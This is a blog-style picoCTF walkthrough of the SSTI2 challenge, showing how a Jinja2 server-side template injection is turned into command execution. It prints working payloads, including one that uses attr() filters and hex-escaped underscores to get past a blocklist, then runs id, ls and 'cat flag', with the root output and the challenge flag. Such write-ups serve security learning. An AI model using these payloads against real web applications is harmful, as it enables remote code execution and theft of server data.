In this SSTI2 picoCTF walkthrough, I’ll guide you step-by-step through the process of exploiting a server-side template injection vulnerability. If you’ve already tackled SSTI1, you’re in for an upgraded challenge in SSTI2, where I’ll show you how I bypassed the filters and successfully.
Introduction
Server-Side Template Injection (SSTI) can be a little like playing whack-a-mole – but when you’re the mole, it’s an entirely different story. If you’ve already tackled the SSTI1 picoCTF challenge, congrats, you’ve started your journey. However, if you’re ready to take it up a notch and dive deeper into SSTI vulnerabilities, then buckle up for SSTI2. In this walkthrough, I’ll guide you through how I went from clueless to executing commands like a boss – and how you can too.
Oh, and don’t worry if you haven’t read about SSTI1 yet – I’ll link to that blog post for your reference. Ready? Let’s break it down.
What Is SSTI2 in picoCTF?

The Basics: SSTI Explained
SSTI stands for Server-Side Template Injection, which sounds fancy, but it’s all about sneaky code execution through templates that are rendered server-side. This can allow attackers to inject their own code and gain access to sensitive information or even take control of the system. In SSTI2, this vulnerability gets a nice upgrade with stronger filters and more secure-looking defenses – but hey, nothing is ever fully secure.
SSTI1 vs. SSTI2
If SSTI1 was an easy warm-up, SSTI2 takes it up a notch. The challenge involves exploiting the Jinja2 template engine, which powers many web applications. By injecting certain payloads, you can gain access to critical information or even execute system commands.
How I Exploited SSTI2
The First Test: {{ 7 * 7 }}
I started by testing the basic functionality of the template injection. I inserted a simple expression:
{{ 7 * 7 }}
Guess what? It returned 49. Yes, I was on the right track! This meant the input was being processed as a Jinja2 template. So, time to crank things up a notch.

Trying to Run Commands: {{ request[‘application’][‘globals‘] }}
At this point, I thought, “Why not try executing a system command?” So, I crafted this payload:
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
What did I get in response? A sad face:
Stop trying to break me >:(

Ah, a blocklist! It looks like the system was catching on to my devious ways. But hey, if there’s one thing I’ve learned in CTF challenges, it’s that every filter has a way around it.
Bypassing the Blocklist with Creative Payloads
Crafting a Sneaky Payload
Now, instead of just trying to inject random characters, I decided to get a little creative. Here’s what I came up with:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Boom! It worked. This payload successfully executed the id command, which returned:
uid=0(root) gid=0(root) groups=0(root)
Now we were in root territory. And when I say root, I mean ROOT – the holy grail of command execution.

Running the “ls” Command
Once I had root access, I thought, “Why not see what’s on the server?” So, I ran the ls
command:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')() }}
And here’s what I saw:

__pycache__
app.py
flag
requirements.txt
The Golden Nugget: The Flag
At this point, I knew the flag file was within reach. I ran this payload to display the contents of the flag file:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')() }}
The result? Flag obtained!

picoCTF{sst1_f1lt3r_byp4ss_e3f3b57a}
Conclusion: I Did It – And So Can You!
SSTI2 in picoCTF is a great example of how security measures can be bypassed with just a little creativity and some smart thinking. In this challenge, I bypassed filters, executed commands, and eventually retrieved the flag. If you want more details about server-side template injection vulnerabilities, check out the article Server Side Template Injection with Jinja2 for a deeper dive.
In the world of CTFs, it’s all about persistence and thinking outside the box – or, in this case, outside the filter.
Additional Resources
- OWASP: Template Injection – Learn more about SSTI and how to secure your apps.
- Jinja2 Documentation – The template engine behind SSTI2 challenges.
my other blogs
- n0s4n1ty 1 CTF Writeup: Web Exploitation Challenge Walkthrough
- Unlocking the Secrets Information picoCTF Walkthrough
- picoCTf verify 2024
- PHP Shell Command Execution: Gain Shell Access Through URL
- 10 Best Final Year Cybersecurity Project Ideas with source code.
- Pickle Rick TryHackMe Walkthrough Conquer the Challenges!
- picoCTF heapdump challenge writeup
- PicoCTF Cookie Monster Secret Recipe writeup
- picoCTF IntroToBurp: Web Exploitation
- picoCTF inspect HTML: Web exploitation